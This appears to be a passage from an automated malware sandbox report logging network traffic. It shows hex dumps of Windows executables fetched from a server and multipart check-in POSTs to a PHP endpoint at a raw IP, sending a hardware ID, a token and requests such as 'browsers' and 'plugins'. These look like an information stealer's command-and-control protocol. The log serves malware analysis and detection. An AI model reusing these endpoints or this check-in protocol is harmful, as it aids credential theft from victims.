00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 15:22:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 15:22:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 15:22:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 15:22:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 15:22:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 32 35 38 44 32 31 31 42 35 32 37 33 30 30 35 37 33 32 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 2d 2d 0d 0a Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="hwid"EA4258D211B52730057325------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="build"default------GCGDGHCBGDHJJKECAECB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="message"browsers------IJJJEBFHDBGIECBFCBKJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBFHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="message"plugins------EGCGHCBKFCFBFHIDHDBF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHIHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="message"fplugins------EHDHDHIECGCAEBFIIDHI--
